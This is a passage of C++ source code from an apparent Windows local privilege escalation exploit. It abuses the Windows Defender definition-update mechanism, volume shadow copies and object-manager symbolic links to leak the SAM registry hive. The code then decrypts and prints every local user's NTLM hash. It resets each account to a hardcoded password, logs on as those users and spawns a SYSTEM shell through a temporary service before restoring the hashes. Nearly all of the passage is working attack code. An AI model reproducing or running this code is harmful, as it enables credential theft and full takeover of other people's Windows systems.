keycontent.data = rid;
char key1[7] = { keycontent.c,keycontent.b,keycontent.a,keycontent.d, keycontent.c, keycontent.b,keycontent.a };
char key2[7] = { keycontent.b,keycontent.a,keycontent.d,keycontent.c, keycontent.b, keycontent.a,keycontent.d };
char* rkey1 = DeriveDESKey(key1);
char* rkey2 = DeriveDESKey(key2);
int plaintext1sz = 0;
int plaintext2sz = 0;
char* plaintext1 = (char*)UnprotectDES(rkey1, sizeof(key1), ciphertext, ciphersz, &plaintext1sz);
if (!plaintext1)
return NULL;
char* plaintext2 = (char*)UnprotectDES(rkey2, sizeof(key2), &ciphertext[8], ciphersz, &plaintext2sz);
if (!plaintext2)
return NULL;
void* retval = malloc(plaintext1sz + plaintext2sz);
memmove(retval, plaintext1, plaintext1sz);
memmove(RtlOffsetToPointer(retval, plaintext1sz), plaintext2, plaintext2sz);
if (outsz)
*outsz = plaintext1sz + plaintext2sz;
return retval;
}
void* UnprotectNTHash(char* key, int keysz, char* encryptedHash, int enchashsz, int* outsz, ULONG rid)
{
int _outsz = 0;
void* dec = UnprotectPasswordHash(key, keysz, encryptedHash, enchashsz, rid, &_outsz);
if (!dec)
return NULL;
int _hashoutsz = 0;
void* _hash = UnproctectPasswordHashDES((char*)dec, _outsz, &_hashoutsz, rid);
if (outsz)
*outsz = _hashoutsz;
return _hash;
}
unsigned char* HexToHexString(unsigned char* data, int size)
{
unsigned char* retval = (unsigned char*)malloc(size * 2 + 1);
ZeroMemory(retval, size + 1);
for (int i = 0; i < size; i++)
{
sprintf((char*)&retval[i * 2], "%02x", data[i]);
}
return retval;
}
char* CalculateNTLMHash(char* _input)
{
int pw_len = strlen(_input);
char* input = new char[pw_len * 2];
for (int i = 0; i < pw_len; i++)
{
input[i * 2] = _input[i];
input[i * 2 + 1] = '\0';
}
unsigned int md_len = 0;
HCRYPTPROV hprov = NULL;
CryptAcquireContext(&hprov, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
HCRYPTHASH Hhash = NULL;
CryptCreateHash(hprov, CALG_MD4, NULL, NULL, &Hhash);
CryptHashData(Hhash, (const BYTE*)input, pw_len * 2, NULL);
DWORD inputsz = sizeof(md_len);
CryptGetHashParam(Hhash, HP_HASHSIZE, (BYTE*)&md_len, &inputsz, NULL);
unsigned char* md_value = (unsigned char*)malloc(md_len);
inputsz = md_len;
CryptGetHashParam(Hhash, HP_HASHVAL, (BYTE*)md_value, &inputsz, NULL);
CryptDestroyHash(Hhash);
CryptReleaseContext(hprov, NULL);
/*
EVP_MD_CTX* mdctx = EVP_MD_CTX_new();
EVP_DigestInit_ex(mdctx, EVP_md4(), NULL);
EVP_DigestUpdate(mdctx, input, pw_len * 2);
EVP_DigestFinal_ex(mdctx, md_value, &md_len);
EVP_MD_CTX_free(mdctx);
*/
/*
printf("Digest is: ");
for (int i = 0; i < md_len; i++)
printf("%02x", md_value[i]);
printf("\n");
*/
return (char*)md_value;
}
bool ChangeUserPassword(wchar_t* username, void* nthash, char* newpassword, char* newNTLMHash = NULL)
{
wchar_t libpath[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"%windir%\\System32\\samlib.dll",libpath,MAX_PATH);
HMODULE hm = LoadLibrary(libpath);
if (!hm)
{
printf("Failed to load samlib.dll\n");
return false;
}
NTSTATUS(WINAPI * _SamConnect)
(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted) = (NTSTATUS(WINAPI*)(IN PUNICODE_STRING ServerName, OUT HANDLE * ServerHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN Trusted))GetProcAddress(hm, "SamConnect");
NTSTATUS(WINAPI * _SamCloseHandle)(IN HANDLE SamHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle))GetProcAddress(hm, "SamCloseHandle");
NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle)
= (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain");
NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser");
NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser");
if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser)
{
printf("Failed to import required functions from samlib.dll\n");
return false;
}
HANDLE hsrv = NULL;
NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false);
if (stat)
{
printf("Failed to connect to SAM, error : 0x%0.8X\n", stat);
return false;
}
//printf("Connected to local SAM.\n");
LSA_OBJECT_ATTRIBUTES loa = { 0 };
LSA_HANDLE hlsa = NULL;
stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa);
if (stat)
{
printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat);
return false;
}
POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0;
stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo);
if (stat)
{
printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat);
return false;
}
/*wchar_t* stringsid = 0;
if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid))
{
printf("Failed to get string sid, error : %d\n", GetLastError());
return false;
}
printf("Machine SID : %ws\n", stringsid);*/
LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0;
LSA_TRANSLATED_SID* lsatrans = 0;
LSA_UNICODE_STRING lsaunistr = { 0 };
RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username);
stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans);
if (stat)
{
printf("LsaLookupNames failed, error : 0x%0.8X\n", stat);
return false;
}
LsaClose(hlsa);
HANDLE hdomain = NULL;
stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain);
if (stat)
{
printf("SamOpenDomain failed, error : 0x%0.8X\n", stat);
return false;
}
HANDLE huser = NULL;
stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser);
if (stat)
{
printf("SamOpenUser failed, error : 0x%0.8X\n", stat);
return false;
}
//char password[] = "testp";
//char* oldNTLM = CalculateNTLMHash((char*)"testp");
char* oldNTLM = (char*)nthash;
char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword);
char oldLm[16] = { 0 };
char newLm[16] = { 0 };
stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM);
if (stat)
{
printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat);
return false;
}
_SamCloseHandle(huser);
_SamCloseHandle(hdomain);
_SamCloseHandle(hsrv);
/*
if (newpassword) {
printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword);
}
else {
printf("Info : user \"%ws\" password has been changed back to older password\n", username);
}
*/
return true;
}
//////////////////////////////////////////////////////////////////////
// SAM handling end
/////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
// Exploit shell spawn start
/////////////////////////////////////////////////////////////////////
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
0,
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
bool DoSpawnShellAsAllUsers(HANDLE samfile)
{
//SSL_library_init();
//SSL_load_error_strings();
char newpassword[] = "$PWNed666!!!WDFAIL";
wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL";
char* newNTLM = CalculateNTLMHash(newpassword);
bool isadmin = false;
char* retval = 0;
ORHKEY hSAMhive = NULL;
ORHKEY hSYSTEMhive = NULL;
DWORD err = OROpenHiveByHandle(samfile, &hSAMhive);
bool systemshelllaunched = false;
if (err)
{
printf("OROpenHive failed with error : %d\n", err);
return false;
}
unsigned char lsakey[16] = { 0 };
if (!GetLSASecretKey(lsakey))
{
printf("Failed to dump LSA secret keys.\n");
return false;
}
ORHKEY hkey = NULL;
err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey);
DWORD valuesz = 0;
err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz);
if (err)
{
printf("ORGetValue failed with error : %d\n", err);
return false;
}
char* samkey = (char*)malloc(valuesz);
err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz);
if (err)
{
printf("ORGetValue failed with error : %d\n", err);
return false;
}
ORCloseKey(hkey);
///////////////////////////////////////////////////////////
int passwordEncryptionKeysz = 0;
char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz);
err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey);
if (err)
{
printf("OROpenKey failed with error : %d\n", err);
return false;
}
DWORD subkeys = NULL;
err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (err)
{
printf("ORQueryInfoKey failed with error : %d\n", err);
return false;
}
PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys);
int numofentries = 0;
for (int i = 0; i < subkeys; i++)
{
DWORD keynamesz = 0x100;
wchar_t keyname[0x100] = { 0 };
err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL);
if (err)
{
printf("OREnumKey failed with error : %d\n", err);
return false;
}
if (_wcsicmp(keyname, L"users") == 0)
continue;
ORHKEY hkey2 = NULL;
err = OROpenKey(hkey, keyname, &hkey2);
if (err)
{
printf("OROpenKey failed with error : %d\n", err);
return false;
}
DWORD valuesz = 0;
err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz);
if (err == ERROR_FILE_NOT_FOUND)
continue;
if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) {
printf("ORGetValue failed with error : %d\n", err);
return false;
}
PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc));
ZeroMemory(SAMpwd, sizeof(PwdEnc));
SAMpwd->sz = valuesz;
SAMpwd->buff = (char*)malloc(valuesz);
ZeroMemory(SAMpwd->buff, valuesz);
err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz);
if (err)
{
printf("ORGetValue failed with error : %d\n", err);
return false;
}
SAMpwd->rid = wcstoul(keyname, NULL, 16);
ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET];
SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET];
SAMpwd->usernamesz = *usernamesz;
ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET];
SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET];
SAMpwd->LMHashLenght = *LMhashsz;
ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET];
SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET);
ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET];
SAMpwd->NTHashLenght = *NThashsz;
pwdenclist[i] = SAMpwd;
numofentries++;
}
wchar_t currentusername[UNLEN + 1] = { 0 };
DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t);
if (!GetUserName(currentusername, &usernamesz))
{
printf("Failed to get current user name, error : %d", GetLastError());
return false;
}
for (int i = 0; i < numofentries; i++)
{
PwdEnc* samentry = pwdenclist[i];
int realNTLMHashsz = 0;
char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid);
char* stringntlm = 0;
char emptyrepresentation[] = "{NULL}";
if (realNTLMHashsz)
{
stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz);
}
else
{
stringntlm = emptyrepresentation;
}
wchar_t username[UNLEN + 1] = { 0 };
if (samentry->usernamesz <= sizeof(username))
{
memmove(username, samentry->username, samentry->usernamesz);
}
printf("******************************************\n");
printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm);
if (realNTLMHash == NULL || realNTLMHashsz == 0) {
printf(" Skip : NULL NTLM.\n");
continue;
}
if (_wcsicmp(username, currentusername) == 0)
{
printf(" Skip : Current User.\n");
continue;
}
if (_wcsicmp(username, L"WDAGUtilityAccount") == 0)
{
printf(" Skip : WDAGUtilityAccount detected.\n");
continue;
}
retval = realNTLMHash;
if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM))
{
printf(" NewPasswordSet : OK.\n");
HANDLE htoken = NULL;
PSID logonsid = 0;
if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL))
{
printf("LogonUserEx failed, error : %d\n", GetLastError());
}
if (!systemshelllaunched) {
TOKEN_ELEVATION_TYPE tokentype;
DWORD retsz = 0;
if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz))
{
printf("GetTokenInformation failed with error : %d\n", GetLastError());
}
if (tokentype == TokenElevationTypeLimited)
{
TOKEN_LINKED_TOKEN linkedtoken = { 0 };
if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz))
{
printf("GetTokenInformation failed with error : %d\n", GetLastError());
}
HANDLE hdup = linkedtoken.LinkedToken;
DWORD sidsz = MAX_SID_SIZE;
PSID administratorssid = malloc(sidsz);
if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz))
{
printf("Failed to create well known sid, error : %d\n", GetLastError());
}
if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin))
{
printf("CheckTokenMembership failed with error : %d\n", GetLastError());
}
free(administratorssid);
CloseHandle(hdup);
}
if (isadmin)
{
printf(" IsAdmin : TRUE\n");
HANDLE htoken2 = NULL;
if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL))
{
printf("LogonUserEx failed, error : %d\n", GetLastError());
}
//SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE);
const wchar_t sid_string[] = L"S-1-16-8192";
TOKEN_MANDATORY_LABEL integrity;
PSID sid = NULL;
ConvertStringSidToSidW(sid_string, &sid);
ZeroMemory(&integrity, sizeof(integrity));
integrity.Label.Attributes = SE_GROUP_INTEGRITY;
integrity.Label.Sid = sid;
if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) {
wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError());
}
LocalFree(sid);
//CloseHandle(htoken2);
ImpersonateLoggedOnUser(htoken2);
SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (!hmgr)
{
printf("OpenSCManager failed with error : %d", GetLastError());
}
GUID uid = { 0 };
RPC_WSTR wuid = { 0 };
wchar_t* wuid2 = 0;
UuidCreate(&uid);
UuidToStringW(&uid, &wuid);
wuid2 = (wchar_t*)wuid;
wchar_t binpath[MAX_PATH] = { 0 };
GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH);
wchar_t servicecmd[MAX_PATH] = { 0 };
DWORD currentsesid = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &currentsesid);
wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);
SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL);
if (!hsvc)
{
printf("CreateService Failed with error : %d\n", GetLastError());
}
else {
printf(" SYSTEMShell : OK.\n");
}
StartService(hsvc, NULL, NULL);
Sleep(100);
DeleteService(hsvc);
CloseServiceHandle(hsvc);
CloseServiceHandle(hmgr);
RevertToSelf();
CloseHandle(htoken2);
systemshelllaunched = true;
}
else {
printf(" IsAdmin : FALSE\n");
}
}
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
{
printf(" Shell : Error %d\n", GetLastError());
}
else {
printf(" Shell : OK.\n");
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
}
if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash))
{
printf(" PasswordRestore : Error %d\n", GetLastError());
}
else {
printf(" PasswordRestore : OK.\n");
}
CloseHandle(htoken);
}
// __debugbreak();
}
ORCloseHive(hSAMhive);
printf("******************************************\n");
free(newNTLM);
return true;
}
bool IsRunningAsLocalSystem()
{
HANDLE htoken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
printf("OpenProcessToken failed, error : %d\n", GetLastError());
return false;
}
TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
DWORD retsz = 0;
bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
CloseHandle(htoken);
if (!res)
return false;
return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
}
void LaunchConsoleInSessionId(DWORD sessionid)
{
HANDLE htoken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
return;
SetPrivilege(htoken, SE_TCB_NAME, TRUE);
SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);
SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);
HANDLE hnewtoken = NULL;
bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
CloseHandle(htoken);
if (!res)
return;
res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
if (!res)
{
CloseHandle(hnewtoken);
return;
}
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
CloseHandle(hnewtoken);
if (pi.hProcess)
CloseHandle(pi.hProcess);
if (pi.hThread)
CloseHandle(pi.hThread);
return;
}
//////////////////////////////////////////////////////////////////////
// Exploit shell spawn end
/////////////////////////////////////////////////////////////////////
int wmain(int argc, wchar_t* argv[])
{
if (IsRunningAsLocalSystem())
{
printf("Running as local system.\n");
if (argc == 2)
{
DWORD sessionid = _wtoi(argv[1]);
if (sessionid) {
printf("Session id : %d\n", sessionid);
LaunchConsoleInSessionId(sessionid);
}
}
return 0;
}
DWORD _sesid = 0;
ProcessIdToSessionId(GetCurrentProcessId(), &_sesid);
const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"}
/*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/
};
wchar_t fullvsspath[MAX_PATH] = { 0 };
HANDLE hreleaseready = NULL;
wchar_t updtitle[0x200] = { 0 };
wchar_t targetfile[MAX_PATH] = { 0 };
wchar_t nttargetfile[MAX_PATH] = { 0 };
HANDLE htransaction = NULL;
wchar_t* filestodel[100] = { 0 };
HINTERNET hint = NULL;
HINTERNET hint2 = NULL;
char data[0x1000] = { 0 };
DWORD index = 0;
DWORD sz = sizeof(data);
bool res2 = 0;
wchar_t filesz[50] = { 0 };
LARGE_INTEGER li = { 0 };
GUID uid = { 0 };
RPC_WSTR wuid = { 0 };
wchar_t* wuid2 = 0;
wchar_t envstr[MAX_PATH] = { 0 };
wchar_t mpampath[MAX_PATH] = { 0 };
HANDLE hmpap = NULL;
void* exebuff = NULL;
DWORD readsz = 0;
HANDLE hmapping = NULL;
void* mappedbuff = NULL;
HRSRC hres = NULL;
DWORD ressz = NULL;
HGLOBAL cabbuff = NULL;
wchar_t cabpath[MAX_PATH] = { 0 };
wchar_t updatepath[MAX_PATH] = { 0 };
HANDLE hcab = NULL;
ERF erfstruct = { 0 };
HFDI hcabctx = NULL;
char _updatepath[MAX_PATH] = { 0 };
bool extractres = false;
char buff[0x1000] = { 0 };
DWORD retbytes = 0;
DWORD tid = 0;
HANDLE hthread = NULL;
WDRPCWorkerThreadArgs threadargs = { 0 };
HANDLE hcurrentthread = NULL;
HANDLE hdir = NULL;
wchar_t newdefupdatedirname[MAX_PATH] = { 0 };
wchar_t updatelibpath[MAX_PATH] = { 0 };
UNICODE_STRING unistrupdatelibpath = { 0 };
OBJECT_ATTRIBUTES objattr = { 0 };
IO_STATUS_BLOCK iostat = { 0 };
HANDLE hupdatefile = NULL;
UNICODE_STRING objlinkname = { 0 };
UNICODE_STRING objlinktarget = { 0 };
NTSTATUS ntstat = 0;
OVERLAPPED ovd = { 0 };
DWORD transfersz = 0;
wchar_t newname[MAX_PATH] = { 0 };
DWORD renstructsz = 0;
size_t targetsz = 0;
size_t printnamesz = 0;
size_t pathbuffersz = 0;
size_t totalsz = 0;
REPARSE_DATA_BUFFER* rdb = 0;
DWORD cb = 0;
OVERLAPPED ov = { 0 };
bool ret = false;
DWORD retsz = 0;
HANDLE hleakedfile = NULL;
HANDLE hobjlink = NULL;
LARGE_INTEGER _filesz = { 0 };
OVERLAPPED ovd2 = { 0 };
DWORD __readsz = 0;
void* leakedfilebuff = 0;
bool filelocked = false;
bool needcabcleanup = false;
bool dirmoved = false;
bool needupdatedircleanup = false;
UpdateFiles* UpdateFilesList = NULL;
UpdateFiles* UpdateFilesListCurrent = NULL;
bool isvssready = false;
bool criterr = false;
HANDLE hobjworkdir = NULL;
HANDLE hsymlink = NULL;
wchar_t objdirpath[MAX_PATH] = { 0 };
try {
printf("Checking for windows defender signature updates...\n");
while (!CheckForWDUpdates(updtitle, &criterr)){
if (criterr)
goto cleanup;
printf("No updates found for windows defender. Recheking in 30 seconds...\n");
Sleep(30000);
}
printf("Found Update : \n%ws\n", updtitle);
UpdateFilesList = GetUpdateFiles();
if (!UpdateFilesList)
{
goto cleanup;
}
printf("Updates downloaded.\n");
printf("Creating VSS copy...\n");
hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL);
if (!hreleaseready)
{
printf("Failed to create event error : %d\n", GetLastError());
goto cleanup;
}
isvssready = TriggerWDForVS(hreleaseready, fullvsspath);
if (!isvssready)
goto cleanup;
for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++)
{
ZeroMemory(objdirpath, sizeof(objdirpath));
UpdateFilesListCurrent = UpdateFilesList;
UuidCreate(&uid);
UuidToStringW(&uid, &wuid);
wuid2 = (wchar_t*)wuid;
wcscpy(envstr, L"%TEMP%\\");
wcscat(envstr, wuid2);
{
OBJECT_ATTRIBUTES ndirobjattr = { 0 };
UNICODE_STRING objdirunistr = { 0 };
wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2);
RtlInitUnicodeString(&objdirunistr, objdirpath);
InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL);
if (ntstat)
{
printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat);
goto cleanup;
}
}
ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH);
needupdatedircleanup = CreateDirectory(updatepath, NULL);
if (!needupdatedircleanup)
{
printf("Failed to create update directory, error : %d", GetLastError());
goto cleanup;
}
printf("Created update directory %ws\n", updatepath);
{
UNICODE_STRING _unisrc = { 0 };
RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
OBJECT_ATTRIBUTES _smobjattr = { 0 };
InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
UNICODE_STRING _unidest = { 0 };
wchar_t unidest[MAX_PATH] = { 0 };
wcscpy(unidest, L"\\??\\");
wcscat(unidest, updatepath);
RtlInitUnicodeString(&_unidest, unidest);
ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
if (ntstat)
{
printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
goto cleanup;
}
}
while (UpdateFilesListCurrent)
{
wchar_t filepath[MAX_PATH] = { 0 };
wchar_t filename[MAX_PATH] = { 0 };
wcscpy(filepath, updatepath);
wcscat(filepath, L"\\");
MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH);
wcscat(filepath, filename);
HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL);
if (!hupdate || hupdate == INVALID_HANDLE_VALUE)
{
printf("Failed to create update file, error : %d", GetLastError());
goto cleanup;
}
UpdateFilesListCurrent->filecreated = true;
DWORD writtenbytes = 0;
if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL))
{
printf("Failed to write update file, error : %d", GetLastError());
CloseHandle(hupdate);
goto cleanup;
}
CloseHandle(hupdate);
printf("Created update file : %ws\n", filepath);
UpdateFilesListCurrent = UpdateFilesListCurrent->next;
}
hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
if (!hdir || hdir == INVALID_HANDLE_VALUE)
{
printf("Failed to open definition updates directory, error : %d", GetLastError());
goto cleanup;
}
hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());
if (!hcurrentthread)
{
printf("Unexpected error while opening current thread, error : %d", GetLastError());
goto cleanup;
}
wchar_t thrdupdpath[MAX_PATH] = { 0 };
wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2);
threadargs.dirpath = thrdupdpath;
threadargs.hntfythread = hcurrentthread;
threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL);
hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid);
printf("Waiting for windows defender to create a new definition update directory...\n");
wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\");
do {
ZeroMemory(buff, sizeof(buff));
OVERLAPPED od = { 0 };
od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
HANDLE events[2] = { od.hEvent, threadargs.hevent };
